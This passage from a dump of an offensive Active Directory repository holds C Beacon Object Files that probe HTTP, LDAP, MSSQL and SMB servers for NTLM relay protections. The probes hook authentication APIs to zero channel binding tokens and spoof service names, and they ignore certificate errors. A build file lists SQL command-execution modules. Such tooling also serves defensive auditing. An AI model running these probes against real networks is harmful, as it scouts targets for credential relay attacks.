Rearm hardware breakpoints to handle potential thread switch\n\tArmBps();\n\n\tif (ssl) {\n\t\t// Hardcode: ignore TLS cert errors (CN/date/CA)\n\t\tDWORD secFlags = SECURITY_FLAG_IGNORE_CERT_CN_INVALID\n\t\t\t\t\t   | SECURITY_FLAG_IGNORE_CERT_DATE_INVALID\n\t\t\t\t\t   | SECURITY_FLAG_IGNORE_UNKNOWN_CA;\n\t\t\n\t\tWINHTTP$WinHttpSetOption(hReq, WINHTTP_OPTION_SECURITY_FLAGS, &secFlags, sizeof(secFlags));\n\t}\n\n\tWINHTTP$WinHttpAddRequestHeaders(hReq, L\"Connection: keep-alive\", (DWORD)-1, WINHTTP_ADDREQ_FLAG_ADD);\n\n\t// 1) First unauthenticated request → expect 401\n\tif (!WINHTTP$WinHttpSendRequest(hReq, WINHTTP_NO_ADDITIONAL_HEADERS, 0,\n\t\t\t\t\t\tWINHTTP_NO_REQUEST_DATA, 0, 0, 0)) {\n\t\tWINHTTP$WinHttpCloseHandle(hReq); WINHTTP$WinHttpCloseHandle(hConn); WINHTTP$WinHttpCloseHandle(hSes); return 0;\n\t}\n\n\t// Rearm hardware breakpoints to handle potential thread switch\n\tArmBps();\n\n\tif (!WINHTTP$WinHttpReceiveResponse(hReq, NULL)) {\n\t\tWINHTTP$WinHttpCloseHandle(hReq); WINHTTP$WinHttpCloseHandle(hConn); WINHTTP$WinHttpCloseHandle(hSes); return 0;\n\t}\n\n\tDWORD status=0, cb=sizeof(status);\n\tWINHTTP$WinHttpQueryHeaders(hReq, WINHTTP_QUERY_STATUS_CODE | WINHTTP_QUERY_FLAG_NUMBER,\n\t\t\t\t\t\tNULL, &status, &cb, NULL);\n\n\t// with LOW SSO, winhttp should complete the ntlm handshake by now\n\t// so we should get a 200 here, if all EPA/service binding requirements are met\n\n\tWINHTTP$WinHttpCloseHandle(hReq); WINHTTP$WinHttpCloseHandle(hConn); WINHTTP$WinHttpCloseHandle(hSes);\n\treturn status;\n}\n\n//\n// Main test loginc\n//\nvoid CheckProtection(wchar_t* URL) {\n    wchar_t* kHost = NULL;\n    wchar_t* kPath = NULL;\n    INTERNET_PORT kPort = 0;\n    BOOL ssl = FALSE;\n\n    // Parse URL into components\n    URL_COMPONENTSW urlComp = {0};\n    urlComp.dwStructSize = sizeof(URL_COMPONENTSW);\n    urlComp.dwHostNameLength = (DWORD)-1;\n    urlComp.dwUrlPathLength = (DWORD)-1;\n    urlComp.dwSchemeLength = (DWORD)-1;\n\n    if (!WINHTTP$WinHttpCrackUrl(URL, 0, 0, &urlComp)) {\n        internal_printf(\"Failed to parse URL\\n\");\n        return;\n    }\n\n    // Store hostname and path separately (ensure null-terminated copies)\n    if (urlComp.lpszHostName && urlComp.dwHostNameLength > 0) {\n        kHost = (wchar_t*)intAlloc((urlComp.dwHostNameLength + 1) * sizeof(wchar_t));\n        if (!kHost) {\n            internal_printf(\"Failed to allocate host buffer\\n\");\n            return;\n        }\n        MSVCRT$memcpy(kHost, urlComp.lpszHostName, urlComp.dwHostNameLength * sizeof(wchar_t));\n        kHost[urlComp.dwHostNameLength] = L'\\0';\n    }\n\n    if (urlComp.lpszUrlPath && urlComp.dwUrlPathLength > 0) {\n        kPath = (wchar_t*)intAlloc((urlComp.dwUrlPathLength + 1) * sizeof(wchar_t));\n        if (!kPath) {\n            intFree(kHost);\n            internal_printf(\"Failed to allocate path buffer\\n\");\n            return;\n        }\n        MSVCRT$memcpy(kPath, urlComp.lpszUrlPath, urlComp.dwUrlPathLength * sizeof(wchar_t));\n        kPath[urlComp.dwUrlPathLength] = L'\\0';\n    } else {\n        // Default to root path\n        kPath = (wchar_t*)intAlloc(2 * sizeof(wchar_t));\n        if (!kPath) {\n            intFree(kHost);\n            internal_printf(\"Failed to allocate default path buffer\\n\");\n            return;\n        }\n        kPath[0] = L'/';\n        kPath[1] = L'\\0';\n    }\n\n    kPort = urlComp.nPort;\n    ssl = (urlComp.nScheme == INTERNET_SCHEME_HTTPS);\n\n\t#ifndef BOF\n    internal_printf(\"[DBG] Host: %ls, Path: %ls, Port: %lu, SSL: %d\\n\", kHost, kPath, kPort, ssl);\n\t#endif\n\n\t// Arm hardware breakpoints\n\tif (!ArmBps()){\n\t\tinternal_printf(\"Failed to arm hardware breakpoints.\\n\");\n\t\treturn;\n\t}\n\n\n\tg_forceNtlm = 1;\n\n    // 1) Observe only\n    g_cbtMode = 0; g_cbtModified = 0;\n    DWORD baseline = trigger_winhttp_ntlm(kHost, kPath, kPort, ssl);\n\tif (baseline != 200) {\n\t\t// print the response\n\t\tinternal_printf(\"[ERR] Baseline response: %lu\\n\", baseline);\n\t\tinternal_printf(\"[ERR] Baseline request did not receive HTTP 200! Exiting...\\n\");\n\n\t\tif (baseline == 401) {\n\t\t\tinternal_printf(\"[ERR] If using IP address, you may need to try hostname instead\\n\");\n\t\t}\n\n\t\tgoto cleanup;\n\t}\n\n\t// 2) Zero CBT, and only for HTTPS\n\tDWORD zeroCBT;\n\tif (ssl) {\n\t\tg_cbtMode = 1; g_cbtModified = 0;\n\t\tzeroCBT = trigger_winhttp_ntlm(kHost, kPath, kPort, ssl);\n\t} else {\n\t\tzeroCBT = 200;\n\t}\n\n    // 3) SPN override (service binding test)\n    g_cbtMode = 0; g_cbtModified = 0;\n    g_spnMode = 1; g_spnModified = 0;\n    DWORD spnOverride = trigger_winhttp_ntlm(kHost, kPath, kPort, ssl);\n\n\tif (zeroCBT == 200 && spnOverride == 200) {\n\t\tinternal_printf(\"[*] EPA is OFF\\n\");\n\t} else if (zeroCBT == 200 && spnOverride == 401) {\n\t\tinternal_printf(\"[*] Invalid TargetName rejected!\\n\");\n\t\tinternal_printf(\"[*] EPA is ACCEPT or REQUIRED (Service Binding)\\n\");\n\t} else if (zeroCBT == 401 && spnOverride == 200) {\n\t\tinternal_printf(\"[*] Zeroed out channel binding token rejected!\\n\");\n\t\tinternal_printf(\"[*] EPA is ACCEPT or REQUIRED (Channel Binding)\\n\");\n\t} else if (zeroCBT == 401 && spnOverride == 401) {\n\t\tinternal_printf(\"[*] Invalid TargetName and zeroed out channel binding token rejected!\\n\");\n\t\tinternal_printf(\"[!] This should not happen - EPA is UNKNOWN\\n\");\n\t} else {\n\t\tinternal_printf(\"[*] EPA is UNKNOWN\\n\");\n\t\tinternal_printf(\"[DBG] Invalid TargetName response: %lu\\n\", spnOverride);\n\t\tinternal_printf(\"[DBG] Zeroed CBT response: %lu\\n\", zeroCBT);\n\t}\n\ncleanup:\n\t//\n    // Cleanup\n\t//\n\tif (kHost) { intFree(kHost); }\n\tif (kPath) { intFree(kPath); }\n\tHWBP_Clear(0);\n\tHWBP_ClearOnAllThreads(0);\n\tHWBP_Clear(1);\n\tHWBP_ClearOnAllThreads(1);\n\tHWBP_RemoveVeh(vehAchW);\n\tHWBP_RemoveVeh(vehIscW);\n\n    return;\n}\n\n#ifdef BOF\nVOID go(IN PCHAR Buffer, IN ULONG Length) {\n    if(!bofstart()) { return; }\n\n\tdatap parser;\n\tBeaconDataParse(&parser, Buffer, Length);\n\t\n\twchar_t* kURL = (wchar_t*)BeaconDataExtract(&parser, NULL);\t\n\t\n\tinternal_printf(\"[*] Targeting URL: %ls\\n\", kURL);\n\tCheckProtection(kURL);\n\n    printoutput(TRUE);\n}\n#else\nint main() {\n\tCheckProtection(L\"https://braavos.essos.local:443/certsrv/\");\n\t//CheckProtection(L\"http://braavos.essos.local:80/certsrv/\");\n\t//CheckProtection(L\"https://10.5.10.23/certsrv/\");\n    return 0;\n}\n#endif\n\n\n\n"
  },
  {
    "path": "AD-BOF/RelayInformer/relay-informer-ldap/entry.c",
    "content": "#include \"bofdefs.h\"\n#include \"base.c\"\n\nstatic wchar_t g_fakeSpnW[64] = L\"LDAP/relay.informer\";\n\n#include \"hwbp.c\"\n\nVERIFYSERVERCERT ServerCertCallback;\nBOOLEAN _cdecl ServerCertCallback (PLDAP Connection, PCCERT_CONTEXT pServerCert)\n{\n\treturn TRUE;\n}\n\n// Forward declare to use inside SRV enumeration before actual definition appears below\nstatic void CheckProtection(char* host);\n\n// Minimal DNS SRV lookup using dnsapi.dll dynamically. We rely on types from windns.h via bofdefs.h includes.\ntypedef unsigned long (WINAPI *DnsQuery_A_t)(const char* name, unsigned short wType, unsigned long options, void* extra, PDNS_RECORDA* results, void** reserved);\ntypedef void (WINAPI *DnsRecordListFree_t)(PDNS_RECORDA pRecordList, int FreeType);\n\nstatic void str_copy(char* dst, unsigned int dstSize, const char* src) {\n    if (!dst || !src || dstSize == 0) return;\n    unsigned int i = 0; for (; i + 1 < dstSize && src[i]; ++i) dst[i] = src[i]; dst[i] = '\\0';\n}\n\nstatic void build_query(char* out, unsigned int outSize, const char* domain) {\n    const char* prefix = \"_ldap._tcp.dc._msdcs.\";\n    if (!out || outSize == 0) return;\n    out[0] = '\\0';\n    unsigned int i = 0; for (; i + 1 < outSize && prefix[i]; ++i) out[i] = prefix[i];\n    unsigned int j = 0; for (; i + 1 < outSize && domain && domain[j]; ++i, ++j) out[i] = domain[j];\n    out[i] = '\\0';\n}\n\nstatic void CheckAllDomainControllers(void) {\n    char domain[256]; domain[0] = '\\0';\n    // GetComputerNameExA(ComputerNameDnsDomain = 2)\n    DWORD sz = (DWORD)sizeof(domain);\n    if (!KERNEL32$GetComputerNameExA((COMPUTER_NAME_FORMAT)2, domain, &sz)) domain[0] = '\\0';\n    if (!domain[0]) {\n#ifndef BOF\n        internal_printf(\"[LDAP] Could not determine DNS domain; aborting 'all' enumeration.\\n\");\n#endif\n        return;\n    }\n\n    char query[512]; build_query(query, sizeof(query), domain);\n\n    PDNS_RECORDA recs = NULL;\n    unsigned long status = DNSAPI$DnsQuery_A(query, 33 /*DNS_TYPE_SRV*/, 0, NULL, &recs, NULL);\n    if (status != 0 || !recs) {\n#ifndef BOF\n        internal_printf(\"[LDAP] DnsQuery_A failed for %s (status=0x%08lX)\\n\", query, status);\n#endif\n        return;\n    }\n\n#ifndef BOF\n    internal_printf(\"[LDAP] Enumerating DCs via %s\\n\", query);\n#endif\n\n    unsigned int srvCount = 0;\n    for (PDNS_RECORDA c = recs; c; c = c->pNext) { if (c->wType == 33 /*DNS_TYPE_SRV*/) ++srvCount; }\n    internal_printf(\"[*] Found %u DCs for %s\\n\", srvCount, domain);\n\n    for (PDNS_RECORDA r = recs; r; r = r->pNext) {\n        if (r->wType != 33 /*DNS_TYPE_SRV*/) continue;\n        char* tgt = r->Data.SRV.pNameTarget;\n        if (!tgt || !tgt[0]) continue;\n        char hostBuf[260]; str_copy(hostBuf, sizeof(hostBuf), tgt);\n        internal_printf(\"\\n\");\n        CheckProtection(hostBuf);\n    }\n\n    DNSAPI$DnsRecordListFree(recs, DnsFreeRecordList);\n}\n\nstatic ULONG trigger_ldap_auth(char* host, BOOL ldaps) {\n#ifndef BOF\n    internal_printf(\"[DBG] Target: %s://%s\\n\", ldaps?\"ldaps\":\"ldap\", host);\n#endif\n\n    LDAP* pLdapConnection = NULL;\n\n    ULONG result;\n    int portNumber = ldaps == TRUE ? 636 : 389;\n\n    pLdapConnection = WLDAP32$ldap_init(host, portNumber);\n\n    if(ldaps == TRUE){\n\n        ULONG version = LDAP_VERSION3;\n        result = WLDAP32$ldap_set_optionW(pLdapConnection, LDAP_OPT_VERSION, (void*)&version);\n\n        WLDAP32$ldap_get_optionW(pLdapConnection, LDAP_OPT_SSL, &result);  //LDAP_OPT_SSL\n        if (result == 0){\n            WLDAP32$ldap_set_optionW(pLdapConnection, LDAP_OPT_SSL, LDAP_OPT_ON);\n        }\n\n        WLDAP32$ldap_get_optionW(pLdapConnection, LDAP_OPT_SIGN, &result);  //LDAP_OPT_SIGN\n        if (result == 0){\n            WLDAP32$ldap_set_optionW(pLdapConnection, LDAP_OPT_SIGN, LDAP_OPT_ON);\n        }\n\n        WLDAP32$ldap_get_optionW(pLdapConnection, LDAP_OPT_ENCRYPT, &result);  //LDAP_OPT_ENCRYPT\n        if (result == 0){\n            WLDAP32$ldap_set_optionW(pLdapConnection, LDAP_OPT_ENCRYPT, LDAP_OPT_ON);\n        }\n\n        WLDAP32$ldap_set_optionW(pLdapConnection, LDAP_OPT_SERVER_CERTIFICATE, (void*)&ServerCertCallback ); //LDAP_OPT_SERVER_CERTIFICATE\n    }\n\n    if (pLdapConnection == NULL)\n    {\n        internal_printf(\"Failed to establish LDAP connection on %d.\", portNumber);\n        return -1;\n    }\n\n    ULONG lRtn = 0;\n    lRtn = WLDAP32$ldap_bind_s(pLdapConnection, \"\", NULL, LDAP_AUTH_NTLM);\n\n    if(lRtn != LDAP_SUCCESS)\n    {\n        WLDAP32$ldap_unbind(pLdapConnection);\n        pLdapConnection = NULL; \n        return lRtn;\n    }\n\n    return lRtn;\n}\n\nvoid CheckProtection(char* host) {\n    // No need to arm AcquireCredentialsHandleW since we can control the auth mechanism in WLDAP32$ldap_bind_s()\n    PVOID vehIscW = NULL; void* addrIscW = NULL;\n    if (!HWBP_SetOnApiEx(\"sspicli.dll\", \"InitializeSecurityContextW\", 1, ISC_VEH, &vehIscW, &addrIscW, FALSE)) {\n\t\tinternal_printf(\"Failed to set HWBP on sspicli!InitializeSecurityContextW (DR1).\\n\");\n\t\treturn;\n\t}\n\n    g_stripProtFlags = 1;\n    ULONG noSigning = trigger_ldap_auth(host, FALSE);\n\n    if (noSigning == LDAP_STRONG_AUTH_REQUIRED) {\n        internal_printf(\"[%s] (LDAP) server ALWAYS REQUIRES signing\\n\", host);\n    } else if (noSigning == LDAP_SUCCESS) {\n        internal_printf(\"[%s] (LDAP) server signing requirement is OFF\\n\", host);\n    } else {\n        internal_printf(\"[%s] (LDAP) signing requirement unknown - result code:%lu\\n\", host, noSigning);\n    }\n\n    g_stripProtFlags = 0;\n    g_cbtMode = 1; g_cbtModified = 0;\n    ULONG zeroCBT = trigger_ldap_auth(host, TRUE);\n    \n    if (zeroCBT == LDAP_INVALID_CREDENTIALS) {\n        internal_printf(\"[%s] (LDAPS) channel binding token requirement is set to ALWAYS or WHEN SUPPORTED\\n\", host);\n    } else if (zeroCBT == LDAP_SUCCESS) {\n        internal_printf(\"[%s] (LDAPS) channel binding token requirement is set to NEVER\\n\", host);\n    } else {\n        internal_printf(\"[%s] (LDAPS) channel binding token requirement unknown - result code:%lu\\n\", host, zeroCBT);\n    }\n\n    // Cleanup\n    HWBP_Clear(1);  // DR1 (ISC-W)\n    HWBP_RemoveVeh(vehIscW);\n    return;\n}\n\n#ifdef BOF\nVOID go(IN PCHAR Buffer, IN ULONG Length) {\n    if(!bofstart()) { return; }\n\n\tdatap parser;\n\tBeaconDataParse(&parser, Buffer, Length);\n\t\n    char* host = (char*)BeaconDataExtract(&parser, NULL);\n\n\t//ensure not null\n\tif (!host) {\n\t\tinternal_printf(\"[ERR] Host is null\\n\");\n\t\treturn;\n\t}\n\n\tif (MSVCRT$_strnicmp(host, \"all\", 3) == 0 && (host[3] == '\\0' || host[3] == '\\n')) {\n\t\tCheckAllDomainControllers();\n\t} else {\n\t\tCheckProtection(host);\n\t}\n\n    printoutput(TRUE);\n}\n#else\nint main() {\n\t//\n\t// Constants for testing\n\t//\n\t//char* host = \"10.5.10.12\";\n    //char* host = \"meereen.essos.local\";\n    char* host = \"all\";\n\n\tif (MSVCRT$_strnicmp(host, \"all\", 3) == 0 && (host[3] == '\\0' || host[3] == '\\n')) {\n\t\tCheckAllDomainControllers();\n\t} else {\n\t\tCheckProtection(host);\n\t}\n\n    return 0;\n}\n#endif\n\n\n\n"
  },
  {
    "path": "AD-BOF/RelayInformer/relay-informer-mssql/entry.c",
    "content": "#include \"bofdefs.h\"\n#include \"base.c\"\n#include \"sql.c\"\n\nstatic const wchar_t g_fakeSpnW[] = L\"MSSQLSvc/relay.informer\";\n\n#include \"hwbp.c\"\n\nstatic SQLINTEGER trigger_sql_auth(char* host, int port, char* database) {\n    SQLHENV env\t\t= NULL;\n    SQLHSTMT stmt \t= NULL;\n\tSQLHDBC dbc \t= NULL;\n\tSQLRETURN ret;\n\n    // native error code is our indicator of EPA enforcement\n    SQLINTEGER nativeError = 0;\n\n\tdbc = ConnectToSqlServer(&env, host, port, database, &nativeError);\n\n    DisconnectSqlServer(env, dbc, stmt);\n       \n    return nativeError;\n}\n\nvoid CheckProtection(char* host, int port, char* database) {\n    // Quick TDS PreLogin probe for encryption policy\n    int enc = TdsPreloginCheckEncryption(host, (unsigned short)port);\n\n    #ifndef BOF\n    internal_printf(\"[DBG] TDS PreLogin ENCRYPTION=%d (0=OFF,1=ON,2=NOT_SUP,3=REQUIRE)\\n\", enc);\n    #endif\n\n    if (enc == -1) {\n        internal_printf(\"[ERR] Failed to connect to SQL Server\\n\");\n        return;\n    }\n    \n    // Arm DR-based hardware breakpoints using sspicli exports and existing VEH handlers\n    PVOID vehAchA = NULL; void* addrAchA = NULL;\n    if (!HWBP_SetOnApiEx(\"sspicli.dll\", \"AcquireCredentialsHandleA\", 0, ACH_A_VEH, &vehAchA, &addrAchA, FALSE)) {\n\t\tinternal_printf(\"Failed to set HWBP on sspicli!AcquireCredentialsHandleW (DR0).\\n\");\n\t\treturn;\n\t}\n    \n    PVOID vehIscA = NULL; void* addrIscA = NULL;\n    if (!HWBP_SetOnApiEx(\"sspicli.dll\", \"InitializeSecurityContextA\", 1, ISC_A_VEH, &vehIscA, &addrIscA, FALSE)) {\n\t\tinternal_printf(\"Failed to set HWBP on sspicli!InitializeSecurityContextW (DR1).\\n\");\n\t\treturn;\n\t}\n\n    g_forceNtlm = 1;\n    g_cbtMode = 0; g_cbtModified = 0;\n\n    // will hold the native error code from ODBC32$SQLGetDiagRec\n    // and will be used to determine EPA enforcement\n    SQLINTEGER result = 0;\n\n    switch (enc) {\n        case 0:\n            // SPN override (service binding test)\n            internal_printf(\"[*] Force Encryption is OFF, checking service binding...\\n\");\n            g_spnMode = 1; g_spnModified = 0;\n            result = trigger_sql_auth(host, port, database);\n            g_spnMode = 0; g_spnModified = 0;\n            break;\n\n        case 1:\n            break;\n        case 2:\n            break;\n        case 3:\n            // SQL Driver used sends an all 0x00 CBT\n            // this will fail if EPA is allowed/required\n            internal_printf(\"[*] ForceEncryption is ON, checking channel binding...\\n\");\n            result = trigger_sql_auth(host, port, database);\n            break;\n    }\n\n    // if result is 18456 (login failed) then EPA is off \n    // and our user does not have access to the database\n    if (result == 18456) {    \n        internal_printf(\"[*] EPA is OFF\\n\");\n    }\n    // if result is 18452 (login is from an untrusted domain/integrated auth)\n    // then EPA is allowed or required\n    else if (result == 18452) {\n        internal_printf(\"[*] EPA is ALLOWED or REQUIRED\\n\");\n    }\n    // if result is 0 (login succeeded) then EPA is off\n    else {\n        internal_printf(\"[*] EPA is OFF\\n\");\n        internal_printf(\"[+] Database login successful, we have access to the database\\n\");\n    }\n\n    //\n    // Cleanup\n    //\n    HWBP_Clear(0);\n    HWBP_Clear(1);\n    HWBP_RemoveVeh(vehAchA);\n    HWBP_RemoveVeh(vehIscA);\n    return;\n}\n\n#ifdef BOF\nVOID go(IN PCHAR Buffer, IN ULONG Length) {\n    if(!bofstart()) { return; }\n\n\tdatap parser;\n\tBeaconDataParse(&parser, Buffer, Length);\n\t\n\tchar* host = (char*)BeaconDataExtract(&parser, NULL);\n\tint port = BeaconDataInt(&parser);\n    char* database = (char*)BeaconDataExtract(&parser, NULL);\n\n    if (!database) {\n        database = \"master\";\n    }\n\n    //ensure not null\n\tif (!host || !port) {\n\t\tinternal_printf(\"[ERR] Host or port is null\\n\");\n\t\treturn;\n\t}\n\n    internal_printf(\"[*] Target: mssql://%s:%d\\n\", host, port);\n\tCheckProtection(host, port, database);\n\n    printoutput(TRUE);\n}\n#else\nint main() {\n\t//\n\t// Constants for testing\n\t//\n\t//char* host = \"10.5.10.22\";\n    char* host = \"castelblack.north.sevenkingdoms.local\";\n\tint port = 1433;\n    char* database = \"master\";\n\n\tCheckProtection(host, port, database);\n\n    return 0;\n}\n#endif\n\n\n\n"
  },
  {
    "path": "AD-BOF/RelayInformer/relay-informer-smb/entry.c",
    "content": "//\n// Claude to the rescue\n//\n\n#include \"bofdefs.h\"\n#include \"base.c\"\n\n// Minimal SMB2 NEGOTIATE probe to read server SecurityMode\n// Returns: -1 on error; otherwise SecurityMode bits from NEGOTIATE Response\n//  bit0 (0x01): SIGNING_ENABLED; bit1 (0x02): SIGNING_REQUIRED\nstatic int Smb2ProbeSecurityMode(const char* host)\n{\n    WSADATA wsa; if (WS2_32$WSAStartup(MAKEWORD(2,2), &wsa) != 0) return -1;\n    SOCKET s = WS2_32$socket(AF_INET, SOCK_STREAM, IPPROTO_TCP);\n    if (s == INVALID_SOCKET) { WS2_32$WSACleanup(); return -1; }\n\n    struct sockaddr_in sin; intZeroMemory(&sin, sizeof(sin));\n    sin.sin_family = AF_INET;\n    sin.sin_port = WS2_32$htons(445);\n    if (WS2_32$inet_pton(AF_INET, host, &sin.sin_addr) != 1) {\n        struct addrinfo hints; intZeroMemory(&hints, sizeof(hints));\n        hints.ai_family = AF_INET; hints.ai_socktype = SOCK_STREAM; hints.ai_protocol = IPPROTO_TCP;\n        struct addrinfo* res = NULL;\n        if (WS2_32$getaddrinfo(host, NULL, &hints, &res) == 0 && res) {\n            struct sockaddr_in* ain = (struct sockaddr_in*)res->ai_addr;\n            sin.sin_addr = ain->sin_addr;\n            WS2_32$freeaddrinfo(res);\n        } else { WS2_32$closesocket(s); WS2_32$WSACleanup(); return -1; }\n    }\n\n    if (WS2_32$connect(s, (struct sockaddr*)&sin, sizeof(sin)) != 0) { WS2_32$closesocket(s); WS2_32$WSACleanup(); return -1; }\n\n    // SMB2 NEGOTIATE request over TCP (no NetBIOS session service header needed on modern stacks)\n    // Structure sizes and fields follow MS-SMB2; this is a minimal dialect list (0x0202, 0x0311)\n    unsigned char req[200]; int p = 0;\n    // Framing: NetBIOS Session Service header (RFC 1002) is still used: 1 byte type (0x00), 3-byte length\n    // We'll fill length later. Type=0x00 Session Message.\n    int nbLenPos = p; req[p++] = 0x00; req[p++] = 0x00; req[p++] = 0x00; req[p++] = 0x00;\n\n    // SMB2 Header (64 bytes)\n    // ProtocolId: 0xFE,'S','M','B'\n    req[p++] = 0xFE; req[p++] = 'S'; req[p++] = 'M'; req[p++] = 'B';\n    // StructureSize (2)\n    req[p++] = 0x40; req[p++] = 0x00;\n    // CreditCharge (2)\n    req[p++] = 0x00; req[p++] = 0x00;\n    // ChannelSequence (2) + Reserved (2)\n    req[p++] = 0x00; req[p++] = 0x00; // ChannelSequence\n    req[p++] = 0x00; req[p++] = 0x00; // Reserved\n    // Command (2) = NEGOTIATE(0)\n    req[p++] = 0x00; req[p++] = 0x00;\n    // CreditRequest (2)\n    req[p++] = 0x00; req[p++] = 0x00;\n    // Flags (4)\n    req[p++] = 0x00; req[p++] = 0x00; req[p++] = 0x00; req[p++] = 0x00;\n    // NextCommand (4)\n    req[p++] = 0x00; req[p++] = 0x00; req[p++] = 0x00; req[p++] = 0x00;\n    // MessageId (8)\n    for (int i = 0; i < 8; i++) req[p++] = 0x00;\n    // Reserved (4)\n    for (int i = 0; i < 4; i++) req[p++] = 0x00;\n    // TreeId (4)\n    for (int i = 0; i < 4; i++) req[p++] = 0x00;\n    // SessionId (8)\n    for (int i = 0; i < 8; i++) req[p++] = 0x00;\n    // Signature (16)\n    for (int i = 0; i < 16; i++) req[p++] = 0x00;\n\n    // SMB2 NEGOTIATE Request body\n    int bodyStart = p;\n    req[p++] = 0x24; req[p++] = 0x00; // StructureSize = 36\n    req[p++] = 0x01; req[p++] = 0x00; // DialectCount = 1\n    req[p++] = 0x00; req[p++] = 0x00; // SecurityMode (client caps) - leave 0\n    req[p++] = 0x00; req[p++] = 0x00; // Reserved\n    // Capabilities (4)\n    req[p++] = 0x00; req[p++] = 0x00; req[p++] = 0x00; req[p++] = 0x00;\n    // ClientGUID (16)\n    for (int i = 0; i < 16; i++) req[p++] = (unsigned char)MSVCRT$rand();\n    // For SMB2.1 and earlier: ClientStartTime (8)\n    req[p++] = 0x00; req[p++] = 0x00; req[p++] = 0x00; req[p++] = 0x00;\n    req[p++] = 0x00; req[p++] = 0x00; req[p++] = 0x00; req[p++] = 0x00;\n    // Dialects (2 each)\n    req[p++] = 0x10; req[p++] = 0x02; // 0x0210 (SMB 2.1)\n\n    // Patch NetBIOS length (big-endian 3 bytes) excluding the first header byte\n    int smbLen = p - 4; // after 4-byte NBSS header\n    req[nbLenPos + 1] = (unsigned char)((smbLen >> 16) & 0xFF);\n    req[nbLenPos + 2] = (unsigned char)((smbLen >> 8) & 0xFF);\n    req[nbLenPos + 3] = (unsigned char)(smbLen & 0xFF);\n\n    if (WS2_32$send(s, (const char*)req, p, 0) != p) { WS2_32$closesocket(s); WS2_32$WSACleanup(); return -1; }\n\n    // Read NBSS header then rest\n    unsigned char hdr[4]; int rcv = 0;\n    while (rcv < 4) {\n        int r = WS2_32$recv(s, (char*)hdr + rcv, 4 - rcv, 0);\n        if (r <= 0) { WS2_32$closesocket(s); WS2_32$WSACleanup(); return -1; }\n        rcv += r;\n    }\n    if (hdr[0] != 0x00) { WS2_32$closesocket(s); WS2_32$WSACleanup(); return -1; }\n    int payloadLen = ((int)hdr[1] << 16) | ((int)hdr[2] << 8) | hdr[3];\n    if (payloadLen <= 0 || payloadLen > 0xFFFF) { WS2_32$closesocket(s); WS2_32$WSACleanup(); return -1; }\n\n    unsigned char* buf = (unsigned char*)intAlloc((size_t)payloadLen);\n    if (!buf) { WS2_32$closesocket(s); WS2_32$WSACleanup(); return -1; }\n    int got = 0;\n    while (got < payloadLen) {\n        int r = WS2_32$recv(s, (char*)buf + got, payloadLen - got, 0);\n        if (r <= 0) break; got += r;\n    }\n\n    WS2_32$closesocket(s);\n    WS2_32$WSACleanup();\n\n    int result = -1;\n    if (got >= 64 + 2) { // need SMB2 header + at least start of body\n        // Validate SMB2 header\n        if (buf[0] == 0xFE && buf[1] == 'S' && buf[2] == 'M' && buf[3] == 'B') {\n            // Command should be NEGOTIATE (0)\n            if (buf[12] == 0x00 && buf[13] == 0x00) {\n                // NEGOTIATE Response body follows header\n                const unsigned char* body = buf + 64;\n                // StructureSize (2) should be 65 for response; SecurityMode (2) at offset 2\n                int respStruct = body[0] | (body[1] << 8);\n                if (respStruct >= 65) {\n                    int securityMode = body[2] | (body[3] << 8);\n                    result = securityMode & 0x03; // enabled/required bits\n                }\n            }\n        }\n    }\n    intFree(buf);\n    return result;\n}\n\nvoid CheckProtection(const char* host) {\n    internal_printf(\"[*] Target: smb://%s\\n\", host);\n    int sm = Smb2ProbeSecurityMode(host);\n    if (sm < 0) {\n        internal_printf(\"[ERR] Probe failed or no response\\n\");\n    } else {\n        BOOL enabled = (sm & 0x01) != 0;\n        BOOL required = (sm & 0x02) != 0;\n        \n        if (enabled && required) {\n            internal_printf(\"[*] SMB2 SecurityMode: Signing is ENABLED and REQUIRED\\n\");\n        } else if (enabled) {\n            internal_printf(\"[*] SMB2 SecurityMode: Signing is ENABLED but NOT REQUIRED\\n\");\n        } else {\n            internal_printf(\"[*] SMB2 SecurityMode: Signing is DISABLED\\n\");\n        }\n    }\n}\n\n#ifdef BOF\nVOID go(IN PCHAR Buffer, IN ULONG Length)\n{\n    if(!bofstart()) { return; }\n\n    datap parser; BeaconDataParse(&parser, Buffer, Length);\n    char* host = (char*)BeaconDataExtract(&parser, NULL);\n    \n    if (!host) {\n        internal_printf(\"[ERR] host is required\\n\");\n        return;\n    }\n\n    CheckProtection(host);\n\n    printoutput(TRUE);\n}\n#else\nint main()\n{\n    const char* host = \"castelblack.north.sevenkingdoms.local\";\n    CheckProtection(host);\n    return 0;\n}\n#endif\n\n\n"
  },
  {
    "path": "AD-BOF/SQL-BOF/CMakeLists.txt",
    "content": "cmake_minimum_required(VERSION 3.16)\n\nset(CMAKE_C_STANDARD 99)\n\n# Include directories\ninclude_directories(\n    ${CMAKE_SOURCE_DIR}/_include\n    ${CMAKE_CURRENT_SOURCE_DIR}/src/common\n)\n\n# Compiler flags\nset(CMAKE_C_FLAGS \"${CMAKE_C_FLAGS} -Os -w -Wno-incompatible-pointer-types -DBOF\")\nset(CMAKE_C_FLAGS_RELEASE \"${CMAKE_C_FLAGS_RELEASE} -s\")\n\n# SQL BOF targets\nadd_library(sql_1434udp OBJECT src/SQL/1434udp/entry.c)\nadd_library(sql_adsi OBJECT src/SQL/adsi/entry.c)\nadd_library(sql_agentcmd OBJECT src/SQL/agentcmd/entry.c)\nadd_library(sql_agentstatus OBJECT src/SQL/agentstatus/entry.c)\nadd_library(sql_checkrpc OBJECT src/SQL/checkrpc/entry.c)\nadd_library(sql_clr OBJECT src/SQL/clr/entry.c)\nadd_library(sql_columns OBJECT src/SQL/columns/entry.c)\nadd_library(sql_databases OBJECT src/SQL/databases/entry.c)\nadd_library(sql_togglemodule OBJECT src/SQL/togglemodule/entry.c)\nadd_library(sql_impersonate OBJECT src/SQL/impersonate/entry.c)\nadd_library(sql_info OBJECT src/SQL/info/entry.c)\nadd_library(sql_links OBJECT src/SQL/links/entry.c)\nadd_library(sql_olecmd OBJECT src/SQL/olecmd/entry.c)\nadd_library(sql_query OBJECT src/SQL/query/entry.c)\nadd_library(sql_rows OBJECT src/SQL/rows/entry.c)\nadd_library(sql_search OBJECT src/SQL/search/entry.c)\nadd_library(sql_smb OBJECT src/SQL/smb/entry.c)\nadd_library(sql_tables OBJECT src/SQL/tables/entry.c)\nadd_library(sql_users OBJECT src/SQL/users/entry.c)\nadd_library(sql_whoami OBJECT src/SQL/whoami/entry.c)\nadd_library(sql_xpcmd OBJECT src/SQL/xpcmd/entry.c)\n\n# Create _bin directory\nfile(MAKE_DIRECTORY 